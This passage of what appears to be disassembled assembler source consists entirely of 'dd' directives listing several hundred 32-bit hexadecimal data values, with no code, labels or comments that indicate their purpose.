		dd 3007EC20h, 0DA87B6B5h, 0F6435EF0h, 0A8314B9h, 0A91B9094h
		dd 2848F022h, 30AB3064h, 0FA021B3Eh, 2DC30003h,	4638F2D7h
		dd 4100E7B1h, 69FEA76Bh, 51C49Eh, 449BCCB4h, 6EB640C9h
		dd 0DC27CB00h, 34EE26EDh, 2ED4001Bh, 207A175Ch,	4E7B83B5h
		dd 30001FF4h, 85FEE802h, 1DF5B2D2h, 0C356127Dh,	3E1E6FADh
		dd 21350930h, 1241D5h, 3ECC6ACh, 8A7EC5FEh, 0F99C6D00h
		dd 0DFE2D30Bh, 98B40C3Ch, 5A1009BCh, 628FB801h,	3557E582h
		dd 211816D3h, 70820EE1h, 6380F043h, 0E8C13DE2h,	0BE688184h
		dd 5822BC02h, 95103EF3h, 6EB01070h, 517280D8h, 7A3CE4BFh
		dd 663E98C7h, 216C085Fh, 0BF396500h, 3E556B29h,	0B92B196Fh
		dd 30F46163h, 6C0062E2h, 0E82C8DEFh, 1C4B630h, 39056B1Ch
		dd 0BBBCB0CBh, 6CA30C49h, 0F556B823h, 0D0B2F0E5h, 55306A90h
		dd 3DE808BFh, 5664D567h, 0BF5D9140h, 0A507B349h, 0CA7C31Fh
		dd 97470540h, 38EE5001h, 7F630018h, 11F0F560h, 0ABF8A1A7h
		dd 2501C274h, 0CCCB6FF1h
		dd 799C30A6h, 77007D24h, 9FF336Dh, 0FE746302h, 219E6Bh
		dd 8DB76FB1h, 374B3EC3h, 2FCC868h, 33C80CCDh, 6A71D4A0h
		dd 0A600FBA5h, 7294C2B2h, 0D9059Bh, 0D4904EA2h,	34C13A02h
		dd 0B00B0F00h, 0A6C05E66h, 0EFE100ACh, 81E75BBh, 4A7744Dh
		dd 0CB68F877h, 4E11BC60h, 4DE89h, 396A79A9h, 453236D2h
		dd 86915A0Eh, 3D1978C0h, 0A2F610BDh, 90741050h,	1F4D600h
		dd 63DC4D05h, 0E74608DFh, 60395088h, 1003794Eh,	8B00C524h
		dd 4B5AA4C2h, 0E2026EBh, 7535BC31h, 1D80C36Fh, 0A3CDB268h
		dd 4EB6D60Fh, 16B100EAh, 0CFF887Fh, 0A44360A6h,	0BB015550h
		dd 0FE4D073Dh, 0C0CCA33Ah, 3480513h, 8681EBh, 0ED3C7540h
		dd 5A0E465Ch, 80D2C821h, 878DFF1Eh, 64983F5Eh, 55096083h
		dd 0C03B0E7Bh, 0B89CB75Ch, 601E0FCFh, 50EB80D8h, 0C3EA0070h
		dd 0D6A2643Eh, 855096A8h, 57618334h, 138D3CF8h,	8609DE10h
		dd 9BA50800h, 0B81E50E9h, 0F19F854h, 0D043AF48h, 0A4910720h
		dd 7507DE2Fh, 3CD4A86Ah, 0C3010340h, 452B1FBBh,	0C19F0068h
		dd 1DDF0924h, 0B566110Ah, 0CA80AC43h, 0B35DE72Eh, 0E1E8A95Ah
		dd 58C92C4h, 0AE749359h, 70FC20E2h, 0C830CB32h,	3842C0C0h
		dd 904900E5h, 0BDA8E7A4h, 0C30A6A81h, 982A093Dh, 0FE928E38h
		dd 24B1AA48h, 11325CE4h, 7251B721h, 0A7399050h,	42DF07E7h
		dd 6066944Fh, 0A104FA09h, 0B9159E00h, 0D5E0415Ah, 3C8E822h
		dd 71254314h, 900AC2E7h, 0FC0A6650h, 0FF469200h, 0F193BCh
		dd 0E4DBE82Dh, 0A283CA09h, 0C20503ECh, 19FAED81h, 61CBBC02h
		dd 58B08868h, 88DF88CEh, 398612D0h, 28874Eh, 204B35D2h
		dd 0C79D3C7Ah, 10804649h, 0AD0292C8h, 4FDD1D1Bh, 216BBCA0h
		dd 7D50E8F3h, 0C600AAE0h, 8880B692h, 1FBA76CBh,	464A1C32h
		dd 186BC2C1h, 0B0253407h, 0ABB0B749h, 0CEF8FEh,	3AF44361h
		dd 0AF7A9B08h, 2892BF7Ah, 0C56C1F07h, 9E724B6Fh, 0F6744408h
		dd 88B0AA41h, 0EAF3F490h, 7D7523D3h, 0C07D8EA2h, 48AF5BBFh
		dd 0A980EC1Fh, 97A17592h, 1CF6D812h, 0FCA82C5Fh, 0B9081624h
		dd 0F989F200h, 568CD452h, 0F010347Ch, 0D6BC1D7h, 0E2D88C6Ah
		dd 7470C9B7h, 9381CC20h, 98F67610h, 9C065128h, 3B448D00h
		dd 0FBB32C1Eh, 0C3D20097h, 0BFE76E84h, 7509FFFAh, 20A401D6h
		dd 0A0EA4A6Ch, 8FF600B6h, 70AF891Dh, 9300F3A8h,	0E7831FC5h
		dd 0A15B549Eh, 0E5E5C388h, 2BD18881h, 455206DBh, 10D40A5Ch
		dd 4E8CA4ECh, 0CA1125A0h, 9315687Ch, 1390394Eh,	4000576Bh
		dd 0CF122ADBh, 0E1A8FAFDh, 81A6C0h, 0E7D94F8Bh,	8486C9B6h
		dd 4A02B9DEh, 0A07CE84Ch, 0DAF79E80h, 9246E4C3h, 8A880120h
		dd 511C1F7Fh, 0CD809E7Bh, 0C8938CB9h, 33F4A907h, 3048E9E7h
		dd 3184B900h, 94FFFB8Ah, 143350C8h, 0E098003Bh,	0D495E621h
		dd 2218DAACh, 126875D5h, 9F80C74Ch, 1986C6A7h, 0F00E9DFh
		dd 3AE73687h, 0FC7802h,	512EEA72h, 6A14DF88h, 0C9C3CD00h
		dd 0B5421976h, 9CDD4928h, 7E32040h, 0F7BD0C87h,	0A56A6332h
		dd 856C4388h, 0B14C2630h, 2157AF5h, 0A4D59AA2h,	604BEACCh
		dd 0DC8081B2h, 112D9E9Bh, 68757B0Eh, 56802074h,	0E0CE5BF4h
		dd 637A33C3h, 589BE030h, 0FF39CDD8h, 1FF63B13h,	93E51002h
		dd 45E89086h, 702E00E0h, 0A2F3CC48h, 0E658A985h, 44DF807Ch
		dd 2A0D641Dh, 0F8FC75B2h, 1789ABCh, 72FCCB93h, 0D34CC469h
		dd 0ADB094EBh, 0A0488712h, 0B22C0020h, 7A102D5Ah, 2688EA57h
		dd 2048A86h, 0E5E135D0h, 41B0F088h, 47412D93h, 6403D2E4h
		dd 3C1FB883h, 7F4902C0h, 8558F302h, 62DDF15Bh, 9350908Ch
		dd 3BC00243h, 7B3449A5h, 0A61FE700h, 0DFFC2894h, 0B91203B0h
		dd 43CFA79Eh, 9B87B290h, 80C0F092h, 7A3786FFh, 0D3CA0003h
		dd 25DF3188h, 4E0216EDh, 7B3850F4h, 9FD080B8h, 9228EB7h
		dd 6F3BB49h, 85F23D80h,	0F5593D52h, 5BCE029Ch, 0AA280EC8h
		dd 6487E894h, 0DE2C093h, 986AE1h, 7C4306B8h, 0EC30CC76h
		dd 9F002D41h, 84F1AB8Dh, 0E20ACCh, 0AEAA01B2h, 22F00929h
		dd 0BAC7933Fh, 90661E37h, 0FDA1F80h, 8D2DBBh, 0B6B87588h
		dd 0E9A91312h, 5084A307h, 8740E84Fh, 636A4Eh, 0A8E30BB2h
		dd 0E7385298h, 806E713Bh, 6415AA0Fh, 2674751Eh,	50E07E46h
		dd 64820E48h, 18862480h, 29AD8FFCh, 0D84D0664h,	9CB98528h
		dd 4E72042h, 0B2348287h, 3804C0A9h, 480B20B6h, 248C90E9h
		dd 466855DCh, 0FA482188h, 2B3F04A0h, 4C00574h, 20C895F6h
		dd 0B44C09C3h, 61B3CD20h, 0F3881E8Ch, 8F1AF28h,	3DFA3E3h
		dd 13F44C50h, 0B105C81Ch, 9BC93642h, 89DE64C0h,	36287C8Ah
		dd 78A98F1Ch, 772C30FFh, 0A44C3D54h, 4CF7709Dh,	7084543Bh
		dd 0C6EC816Eh, 9238F112h, 0FC5EE719h, 2FC7B1B0h, 5721F11Bh
		dd 24202B61h, 0E015005Dh, 976050F5h, 0A429DE92h, 26885Ch
		dd 567CE660h, 0E0B90988h, 0AC92BE03h, 33017446h, 680A2015h
		dd 2866BC5Ah, 0E2923E0Eh, 6E340052h, 0B6EB4FB2h, 0EC40CCAAh
		dd 14B88C75h, 68437E26h, 85DFB960h, 0C29415C6h,	4105BC8Eh
		dd 0C0B0BAD0h, 3C747848h, 6890C3F2h, 0D364A100h, 0FB131FADh
		dd 82499B6h, 0BB045CF8h, 2490C486h, 13B7E9A2h, 70AA06EAh
		dd 55024268h, 0CFE65B02h, 0A9D9D581h, 11502FE4h, 0E751CA03h
		dd 1040FBC7h, 1C94224Ch, 510EC38Ch, 7B53F219h, 2C88F23Eh
		dd 0AECB78Dh, 245C0885h, 7F34010h, 2EF053C2h, 0CDDB7E03h
		dd 0DA384F11h, 89C04894h, 84ECAB55h, 1D881880h,	6AF3125Fh
		dd 0D9802059h, 0CA0507F6h, 1BFF2B65h, 585A6C41h, 29804964h
		dd 41CC79F4h, 4814BA1Ah, 0CCBC5946h, 16B040h, 0F3A606E9h
		dd 0B3CF808Ch, 0D414430Ah, 64F018BBh, 803500DCh, 9E9DD62Ah
		dd 5A1DF415h, 0B27B88E4h, 0C81EF123h, 0FE14E0h,	0B8BC0C1Bh
		dd 0B2FFF5D6h, 80194300h, 67E9EBC3h, 90C977A1h,	0E0E648B7h
		dd 0ACE42183h, 0AFA8C0C4h, 40A39F75h, 77FE93D0h, 0A13CD470h
		dd 0C4AE2E3Ch, 8ADFA058h, 3F01F8E4h, 8A337FEh, 44C6E84Eh
		dd 1E031C50h, 182BE2Fh,	90E1CEC2h, 55920CC8h, 0BB43BB3Eh
		dd 0A8E99FE3h, 4116AF02h, 1FBCE0B5h, 8EF612E1h,	931403D6h
		dd 890094C2h, 45B16541h, 55861F5Dh, 9FF8ECC1h, 9E8816E2h
		dd 0BD6C005Eh, 5495EFDBh, 0DF3C3800h, 0A46F4DB1h, 21891D1Fh
		dd 974CE005h, 387B30B4h, 12CA5AAh, 0B9EFD94Eh, 606D3CD6h
		dd 5A709F9Ah, 0C9D07E50h, 23087C52h, 8BA300BBh,	731825EBh
		dd 3F4F743Eh, 3BAB05A0h, 6C81B775h, 0BBCC8995h,	4E460547h
		dd 4769B8F3h, 0D484B320h, 426880D9h, 0B8126DDEh, 9CC050E9h
		dd 1B27559h, 0EA41230Dh, 0FB09A171h, 0A4AFD009h, 0A90848C5h
		dd 79491A33h, 0FC4818B7h, 428654A2h, 0E6FCC4E1h, 20986B0Bh
		dd 587DA90Bh, 8062C0A2h, 0A741A448h, 0A601A414h, 0EABD0ED8h
		dd 0F04252F6h, 50DBE817h, 883E5D20h, 0DC8924h, 0A3122F1Dh
		dd 0D928DDD7h, 7839C009h, 0E295925Eh, 7EC6A500h, 0C0B671A4h
		dd 6A75B9F0h, 3C60C37Dh, 0F3BC01A8h, 0D2CC7494h, 0A55609D8h
		dd 204B4C21h, 40BAE5DAh, 946A6B94h, 73CC13Ah, 0C9910167h
		dd 935E0600h, 0E14F148Bh, 6BC8086Dh, 90F21C0h, 0A5D812C2h
		dd 3B0C002Fh, 0B3C8D415h, 567ADA1Fh, 44C6B1CAh,	0B169DB70h
		dd 164ED4h, 4FC5A3C8h, 0D04801C6h, 8770137h, 0F93B7F85h
		dd 39906C61h, 0DCBB80B8h, 0B1F65CCBh, 566E01C4h, 48613585h
		dd 7216E8D0h, 0E7128D80h
		dd 690AC0CAh, 21D4FCCCh, 0B04B95CCh, 179785B5h,	0F10445A4h
		dd 6A402C0h, 4448A701h,	0A207755Ah, 9674303h, 0DF1257E0h
		dd 2108A6BEh, 9F8442B0h, 7C9569A0h, 3B41B040h, 0F094713Dh
		dd 20845C81h, 42A32612h, 75B13A68h, 0F3451200h,	0A0A0904Dh
		dd 257D35FCh, 0DC94612Dh, 16D8FC20h, 43253034h,	7A9250A0h
		dd 78D52812h, 0CF136020h, 0A850016h, 0A369AA07h, 0F00A5F1h
		dd 92B33F3Bh, 1343FF49h, 0E0A8E1h, 1B1E1850h, 0A10F353Ch
		dd 8DABB6D6h, 0A5D469F7h, 13F3F2A4h, 966D714Fh,	0B0AC2860h
		dd 5EDCC20h, 26D03DAEh,	3D4D806h, 122495FAh, 0C58444E9h
		dd 0E0C3D0B3h, 6A0AE369h, 310AA18h, 85681EACh, 0FC9D65D0h
		dd 5D675B01h, 200A2B99h, 9AD46FF8h, 85BD0E1Ch, 67010DADh
		dd 0FCD76C1Fh, 6CB2516Bh, 86AFF824h, 96283D0Eh,	809B4849h
		dd 0EDFF12CBh, 411F00F8h, 0EA7B5059h, 0FA01CEC3h, 5EA88880h
		dd 0C04A7162h, 902BBC14h, 8693E702h, 4CE0BE04h,	0DF005AC5h
		dd 0E9AF72ABh, 64F9EA70h, 91CB382Eh, 509509A0h,	7B596C18h
		dd 8C1130A5h, 49564204h, 0D3C09038h, 8300F667h,	5A0F7C6Bh
		dd 0E05EDF8Ch, 24270415h, 0F0917E71h, 970F0C50h, 29D2CEF1h
		dd 8588E05Fh, 78BC6764h, 78A1C239h, 18800C87h, 897BC60Ch
		dd 945E0CC1h, 1A11A4C8h, 0D6C100B6h, 3CEE452Eh,	3A526100h
		dd 50EA0665h, 6D50B529h, 0A401095Ah, 823FD6AFh,	18D878A0h
		dd 113EED92h, 2E0C3543h, 81AE8631h, 0A966121Dh,	689400E3h
		dd 0A3D1EA52h, 0AF93FCA0h, 24DAD89Fh, 9D80E81Ch, 6F91056Ah
		dd 5E7CC047h, 6CE975ECh, 0F6438168h, 8A6073ADh,	1434B85Ah
		dd 8875525Ch, 9CC8F100h, 0E2C9AFB4h, 0D56420F9h, 0F7B3EE01h
		dd 5A33041Ch, 94342988h, 0AB800C01h, 54E0EF7Fh,	40F40031h
		dd 8FF3B770h, 85018845h, 0A6EBBA9Eh, 0DE873E2h,	1277507h
		dd 0B5370B40h, 0F0BF2ACBh, 420002E8h, 0A6C7E17Eh, 14C4525h
		dd 0ED0B46B4h, 0C08A17AFh, 2004B9Ah, 4DB5872Bh,	0E645A7h
		dd 15180D54h, 2E0356DBh, 0FF019D70h, 2FC5FBC4h,	97C8A29Ah
		dd 1312008Dh, 0E8C14EACh, 4100A3A8h, 3A878525h,	7BF4Bh
		dd 58510B39h, 8DE5DC50h, 9169E31Ch, 71D5CFC3h, 7C90C554h
		dd 501D0572h, 1850AE09h, 60EB3B08h, 76073C20h, 0BC405E7Ch
		dd 0F4DFCBF0h, 13770761h, 809C2723h, 45ED1BE0h,	75F38E00h
		dd 0D2BAE1BDh, 0B3CC0309h, 5C9C29A2h, 0EF03EBE8h, 0FFC67000h
		dd 65E1070Fh, 128B0E6h,	4416C1C3h, 0C871D94Ah, 4E099643h
		dd 3BBBF1h, 0E2A5B714h,	0DD5200B6h, 0C3307145h,	0AC7022CBh
		dd 0B797C01Eh, 0B46C17C0h, 0FE4E994Bh, 5FAA0EC4h, 2F40D43Ah
		dd 4666BBEBh, 0F66FC80Eh, 2BF800A1h, 1C74156Ah,	0C7BFE7h
		dd 0ACFC2777h, 4A0033E0h, 0ADD4C939h, 36F6B3Ch,	0D3EBD01Bh
		dd 0D09FEC1Dh, 291A48DAh, 2B7F58h, 0FA4347Ch, 0F5FA0BDh
		dd 0A5BAB090h, 25B36F80h, 0DF28C664h, 387DABC1h, 801FEA02h
		dd 82D4398Bh, 8034E7BCh, 0C2443EA5h, 0B97A55h, 6BE63A6Ch
		dd 0B4618C35h, 0CAF32E00h, 0BB947FD6h, 68A800C3h, 4D651924h
		dd 0AE00A2EFh, 76901BDBh, 480FD031h, 80073402h,	90FBBD2Bh
		dd 63C41394h, 960F84E2h, 2046E738h, 0A98DDF55h,	0C5A61882h
		dd 0BCA4E226h, 188C840Eh, 0CF5C0020h, 7125A9h, 3AE17A33h
		dd 86D34561h, 0CD4AB23Bh, 4D960F2Ch, 358BE06Ch,	8EA45Ah
		dd 8AB96E32h, 0F719CA89h, 0CC5B2B01h, 0FB1F9961h, 0EF005ABFh
		dd 0CE6E6893h, 0EB1D7BFCh, 0D4474E35h, 0A02F5354h, 32B6A8FEh
		dd 78140040h, 132B8498h, 8D003963h, 0B2E05F87h,	54D6CFh
		dd 414A2637h, 0E53BC87Eh, 6C7BE81Eh, 744D680Bh,	0AE6700E6h
		dd 60F4B656h, 95085F02h, 40BAD07Ah, 0E7A525h, 0D70776EFh
		dd 0CAA8279h, 0C6F6389Ah, 561F0C92h, 6E00B505h,	9B36762Fh
		dd 68230488h, 8038391Bh, 46AF4CB0h, 67701500h, 0A0D5AEA4h
		dd 0E6CD3C22h, 8DE9C980h, 52135BF2h, 0F492F000h, 588424FBh
		dd 0E1890F01h, 0B9604272h, 60AE3350h, 0BA379002h, 0C8825C6Fh
		dd 7E128020h, 250A04F6h, 0C09095A9h, 96578EEh, 2BF21B00h
		dd 507B6066h, 0CFCCED49h, 8E9B3C42h, 4FF99D80h,	323FFDD6h
		dd 9CAEC900h, 34C712A9h, 0AA500017h, 8CC8CB35h,	9400648Fh
		dd 0FCF13E01h, 0E37F444h, 23726E8Bh, 30064340h,	0D448B43Dh
		dd 39E3FE9h, 14DB571Ah,	579B858h, 3DF00EE9h, 93A2D0B7h
		dd 0DC709BEDh, 43C85700h, 0AD7C2DBAh, 63D000A7h, 0B3CBC227h
		dd 28002BA0h, 0D40AFBE4h, 78E37AEBh, 0F2EE64h, 0CE1A7431h
		dd 0E6C7DB0Bh, 588F6901h, 40576BDDh, 13D4E020h,	2128014Bh
		dd 7F532FC0h, 14CEDF0h,	0C7FEBF5Ch, 7B5424F3h, 0E2D190A0h
		dd 7B980A42h, 8EC514h, 6F5E53B0h, 5A009CAAh, 3FB3AC69h
		dd 160171h, 27D0F72Fh, 0FFB661D7h, 8D3630C0h, 37B8C4h
		dd 0EF8925F0h, 0D5A93972h, 8C0A101h, 7EF7CFC2h,	50EDA2FCh
		dd 4ABC50h, 8D8A6B13h, 78C9803Eh, 0CD9FCC2Eh, 3518D703h
		dd 7780840Ah, 72B3F2F4h, 0B5D600FBh, 57176E6Bh,	0B180428h
		dd 18BADDE0h, 118F0006h, 0DC61CD4Ch, 6C09BBC9h,	0E83F1289h
		dd 1CE4DFCh, 8C26685Ch,	0DC2B16A9h, 3602DC4Ah, 0E6E26AB1h
		dd 2D746818h, 46520798h, 10A7F135h, 787D2B8h, 0D1562400h
		dd 393BCFA8h, 9F7CAAh, 3379F7B5h, 0D45C2CB6h, 0D8985203h
		dd 984585F4h, 8126A2h, 0DA6F6CA8h, 849AA575h, 900089ECh
		dd 53579C8h, 0F2C6882Ch, 370100F3h, 5E5D119Ch, 6000E13Fh
		dd 78B415EEh, 7CB5310Eh, 0E0D60034h, 0CD3D02E5h, 9C00A4DEh
		dd 5A8F6790h, 668439h, 0E67F7CF9h, 43EF763Eh, 8E00D3F2h
		dd 0C85FDCB7h, 0BA1F59Dh, 501B2E49h, 0DA1638A0h, 4A76FE45h
		dd 4F6E6A00h, 78E61A10h, 9B30003h, 0D3307FECh, 680557E3h
		dd 0E0C3F139h, 3689ED18h, 0B9A513FAh, 0F8F400AFh, 437AD4FEh
		dd 34917400h, 3205D0E7h, 715B6028h, 0C6099DD9h,	85FA8717h
		dd 18F0B01Ch, 0F0BC12CFh, 11B96378h, 0F3C0A902h, 0A80056Bh
		dd 663900BCh, 0D0D6A2CAh, 773057B9h, 1FD42843h,	60C97059h
		dd 5E7468BDh, 0FD00EAFAh, 6681FB3Dh, 0A5AAB7h, 99ADB6Ch
		dd 5AFAE01Eh, 4A38CC60h, 90B15Eh, 6451ACA4h, 48308C68h
		dd 14961300h, 8D9E56D5h, 66AF0E26h, 0F180A491h,	0ECC8FE53h
		dd 25CC5D24h, 5FB42900h, 79E81Fh, 6CBC0878h, 51F5C026h
		dd 0B2EDF600h, 0FC353DC5h, 0CB5E00B5h, 9124102Eh, 42006795h
		dd 0AEE7CBFh, 0CEDFE9h,	0A0D3D93Ah, 0A2FF5F79h,	7103AF7Fh
		dd 0DC17270Dh, 0B60AC070h, 5DDA0064h, 0A3C90E11h, 3B003C12h
		dd 3A17EFE2h, 2584EE06h, 4004CE0h, 0FC63B40Ah, 49B52B00h
		dd 0FA442A7Fh, 676F0EF6h, 0F5C05917h, 7A71857Dh, 0BA150C9Eh
		dd 0EF9400D8h, 0B87F5414h, 63260032h, 0C10D1C59h, 4F2DA4B6h
		dd 93D820DEh, 41668F3h,	1E5961A1h, 337E806Eh, 0BF594A60h
		dd 55E10F20h, 30A90490h, 0B8160C80h, 8AA6017Fh,	5402697Ah
		dd 0F404C8A0h, 7F6B313h, 7EFFE8C0h, 5DAB097Bh, 3080561Fh
		dd 9DB8AAF7h, 4D834D48h, 875B7E08h, 0E2724843h,	83190012h
		dd 0FC928B7Bh, 4A00106Eh, 90C8942Ch, 0C0D4141Fh, 9F598031h
		dd 0FA00459Ch, 4C32AA97h, 25A0CFh, 84EB1F50h, 94709BF5h
		dd 63045AE4h, 2F8FFD3Bh, 0A47A2480h, 25B91E1Fh,	0AF89002Dh
		dd 4D95663h, 2B283Bh, 0A806484Eh, 0EFFEBDAh, 0E7A0E339h
		dd 18422680h, 1407978Eh
		dd 30AF8486h, 0B77AC230h, 0E3050050h, 260485A2h, 0AD6F1209h
		dd 5384B029h, 88A644BCh, 480F1E44h, 0A8A542CCh,	22F02A22h
		dd 1824807Bh, 0C5831D4Bh, 35C2568Eh, 73A290E0h,	383483Fh
		dd 7A173A3Dh, 0FA34987Dh, 44ED009Bh, 0D2217542h, 66002883h
		dd 0E8741A5Ch, 0AA71Ch,	46038E0h, 753B2ECFh, 0A0B11000h
		dd 0EF445A3Fh, 0FCBB6F3Ch, 52C48320h, 880064A6h, 0E16EA305h
		dd 0F8A1DC27h, 40F83A9Fh, 409A599Eh, 0D8B76C81h, 8900AD4Eh
		dd 987F1F05h, 28A440Dh,	997B733Ah, 0B4808778h, 766DF96Ch
		dd 4DAB20C0h, 81EF2Eh, 3A75DC32h, 3960E951h, 0EEF0EC07h
		dd 0CDC0DDBAh, 0A74C6E1h, 0FF723B62h, 52600D4h,	0E9C56960h
		dd 5510C754h, 8DF93E18h, 39FB8890h, 0CD80A1BDh,	817F9A14h
		dd 3F02C95Ah, 78EE98AAh, 5BFCA0E9h, 78958456h, 93E41E4Ch
		dd 91CD438Bh, 0CB8A7EEh, 0E2001322h, 2FFF866Ch,	0E8BB212Ch
		dd 63AB003Ah, 9C9EDB17h, 5474B805h, 8B00317Ah, 58A82CDFh
		dd 57A549h, 8FC22414h, 0DE92BE46h, 96045200h, 0E9C4C1BAh
		dd 0E8870398h, 0A80C2470h, 80CA03B1h, 0D3BAE080h, 0F881DF8h
		dd 618B6D15h, 0A19F94E0h, 1AB862FEh, 68D0560Fh,	0AD67C308h
		dd 0AB24AB8Ah, 0CDF0003Eh, 0FF19A616h, 7CF07A9Fh, 16C0815Fh
		dd 7E2FE58h, 5514D66Ah,	7D0C60FBh, 0CC00DC4Bh, 23309777h
		dd 1EC42658h, 0FD3D03h,	19D15E51h, 3818DCB2h, 6460F18h
		dd 6A3D1D6Dh, 0C1BEC1E5h, 0DE60AC59h, 0A9BDD081h, 0E93C2057h
		dd 0B09E8100h, 5AC9DA2Ah, 12610031h, 41E5A937h,	0B41C1CD0h
		dd 1D1DCC2Fh, 4C083DCh,	1D6BD08h, 78FE00C4h, 0CF0590D4h
		dd 9700B84Ah, 0EA19925h, 0E04B68BDh, 8AF22Bh, 92665A84h
		dd 0D482DA08h, 0C7C566C4h, 60736180h, 0B01600ACh, 67CE958h
		dd 26246342h, 0AF00142Eh, 52832AA1h, 0A936010Eh, 82FF70BFh
		dd 0D875D1BDh, 0A400E4DFh, 4957EC90h, 12F2080h,	1268EA26h
		dd 81CFBAC0h, 6A9F4D1Ah, 9820CD72h, 42DA0018h, 83F58D76h
		dd 0F61E3533h, 0C8C09BF7h, 48DE10E4h, 88D70107h, 9EE33B91h
		dd 0FBD44087h, 47007CA9h, 0E5F96ED5h, 0E2F5ECDDh, 859A1D18h
		dd 0FBF6C07Eh, 0CD4371CEh, 880F8601h, 0CA347A3Eh, 1CC36AE8h
		dd 81BBA4E9h, 5228EE42h, 8E802FE1h, 246D450Dh, 0A01F68h
		dd 7E066BB2h, 1EA1873h,	20C12200h, 0B980F855h, 41C70F1Dh
		dd 3EC0A0ACh, 3888F7CDh, 7C7C58h, 0F211CA8Ch, 5F76A1h
		dd 0EDBCE033h, 7D37098Eh, 8BAD0807h, 4D90560Bh,	279EB9h
		dd 0C35C5881h, 0F1945F2Dh, 70344524h, 0F480971Eh, 1340C176h
		dd 0A52B2A3Fh, 55F318E8h, 0E20919C8h, 745B2900h, 42B4835Ch
		dd 0F87350ABh, 72F40069h, 17FF44F8h, 0D300B93Ch, 2C88197Fh
		dd 0BF2B76h, 0AD1C399Dh, 0C69509E2h, 0E5BCEF00h, 0E054673Fh
		dd 702F0025h, 0C5DF3374h, 5C00A8FDh, 916316FCh,	3B5313C1h
		dd 0E50048B2h, 3D70DF44h, 0FD00CC45h, 0B10C0203h, 0EF04A882h
		dd 8850C0F6h, 542900CAh, 0F006F2A3h, 8D00EBBFh,	52E7C195h
		dd 18556D4h, 35844074h,	7019DB9Eh, 161F91B3h, 0BA007015h
		dd 3E142076h, 23FB0085h, 4506A3F3h, 570637D2h, 318A33F5h
		dd 8E7550h, 26A7CE59h, 250B09A6h, 0FE198100h, 0E9173FE8h
		dd 48280040h, 695673F7h, 0E2007E5Ch, 47EF51A5h,	7AFE8EC0h
		dd 0B97F3Bh, 810B8860h,	410444E2h, 0E6B12800h, 1FA6912h
		dd 2E463D64h, 0AFF76300h, 0C45EC0B6h, 0C14CD500h, 0EF6BB9E2h
		dd 45840051h, 4706A225h, 600093E6h, 9824E091h, 720F1F62h
		dd 0B1FF00FCh, 0B0BF6AACh, 0E700F281h, 94800A55h, 3DD5B8FDh
		dd 7C80F638h, 7E029BBEh, 1D00EF54h, 2B3DA261h, 1B1FCh
		dd 0BCD81CB3h, 80757FDCh, 0D4989612h, 0D10B9400h, 28A6Fh
		dd 8978D845h, 0FDFB14D5h, 0D77E5DEAh, 4A2239h, 9DB91B98h
		dd 0D938A0h, 5D4F3D1Ah,	0CC109179h, 0E7CB6200h,	0F1E42971h
		dd 11781DF0h, 0CDAD81D4h, 0E4F39944h, 0E0387ED8h, 0A1C8034h
		dd 0A6C2A97Dh, 0B71B0193h, 482D65F6h, 88EDF8D4h, 0F73F7F7Fh
		dd 0AF880A0h, 0C49A56ECh, 4AAD07F5h, 0A0D2021Eh, 0B501EEA1h
		dd 58349C00h, 91D6EAAEh, 0FC3900A0h, 1A217806h,	97286842h
		dd 6E008CE9h, 0EB8D81C4h, 0CD8A85h, 126540F1h, 8BA2E21Dh
		dd 0C5C3C00h, 8861DB7Ch, 94D248F2h, 0D120700Bh,	83862180h
		dd 94001AFDh, 0CD3F7279h, 9011A380h, 639100B1h,	0BCB9C5D5h
		dd 5700B424h, 5661D2D9h, 0FBC658h, 2E44DB53h, 0B8656A9Eh
		dd 8E273300h, 0F9EF38BEh, 14EF2EEh, 0B2E3BB02h,	0FD349AB5h
		dd 22C0C235h, 0DB003355h, 4676190h, 0E7A45Fh, 39B05AE9h
		dd 0BBB7AA8Eh, 3F6FEC01h, 859EEA1Dh, 0A0D28520h, 2048698h
		dd 0C74815D0h, 0EDC0F0EBh, 233BA895h, 99718B13h, 2B2B06B2h
		dd 0BFE00E6h, 0A04D8C32h, 0EE13B8C5h, 2E073EFCh, 0B3F04C08h
		dd 2D1CC7h, 28B62677h, 3256F9C5h, 0A542150Eh, 416A137h
		dd 0C2400AE4h, 39173CC7h, 5E80C2C8h, 90CA5B68h,	0C9E6E44Dh
		dd 72BFD603h, 0E8FC3207h, 126A3E34h, 235F394Bh,	12D83104h
		dd 0CD00F195h, 0DFED3AE7h, 595BC9h, 0DC7E1DC5h,	0E6F8DDC1h
		dd 39F4DA00h, 0BDB7A52Fh, 0D5C80556h, 3F7FFEh, 99705EF0h
		dd 0EE00518Bh, 4421DBD7h, 7AA89Ch, 0B92BCF17h, 2F6E9B1Ch
		dd 2DDE160Fh, 974D206Ah, 245554h, 38EF46AAh, 295B83DCh
		dd 5D0FFA00h, 4097E331h, 575AC967h, 0E84AB400h,	6900B423h
		dd 5A6E4CAFh, 0F67C442Dh, 0E5B30511h, 1452187Dh, 0DB03BCFEh
		dd 0E7267FA1h, 7999C6C0h, 0D770F00h, 6748ABB8h,	3C0530C5h
		dd 0DDBEB658h, 8F6D7212h, 95864C40h, 0B3E184h, 533AAA48h
		dd 930E922Ah, 4F14609Dh, 0F091E4h, 0D9BCCD27h, 68C0948Eh
		dd 2649632Dh, 5F9502C2h, 7030C868h, 6973DBC0h, 0F69ECA28h
		dd 0C705BE0Eh, 0E1E980F5h, 1D0E5BA4h, 0DF8B1F16h, 0DC5AC036h
		dd 1715C804h, 0B3E5D000h, 72A9CA81h, 9F7909EEh,	38011C7Fh
		dd 0E07D2BB1h, 5B004F46h, 0CA8CDBCh, 8D6573h, 0B10FCC96h
		dd 6C399499h, 0F75B982Eh, 0CB1CC900h, 0EC767CD8h, 0A53F006Ah
		dd 9E088307h, 98CE2C54h, 61AC589h, 425D9E80h, 0D07A2Dh
		dd 36826488h, 15748BCAh, 4C721000h, 3C473E35h, 16DA00EBh
		dd 0C3A852A2h, 6900EE08h, 64F041AEh, 981F1377h,	38E72C04h
		dd 3D003F41h, 7C30CC23h, 31B03F67h, 0B1EF1C00h,	0BCD29F7Ah
		dd 0EB18039Dh, 2C47CD45h, 711A8085h, 0AD03A7B8h, 0A52DABF6h
		dd 6E83D8E3h, 5D170FF8h, 0D5000440h, 0D7C06597h, 4D15C500h
		dd 0D4661B3h, 33D0A00Eh, 808700D5h, 55E941BEh, 0F200B65Dh
		dd 86220CFEh, 7695967h,	4D6E9A33h, 7119905Ch, 0BD07A9CEh
		dd 0B7B9AA39h, 5EA06071h, 1F7D360h, 9FF20502h, 0D02C990Ah
		dd 0AC72DD89h, 0AAA73800h, 0D85E185Dh, 21F0C5h,	80144CCh
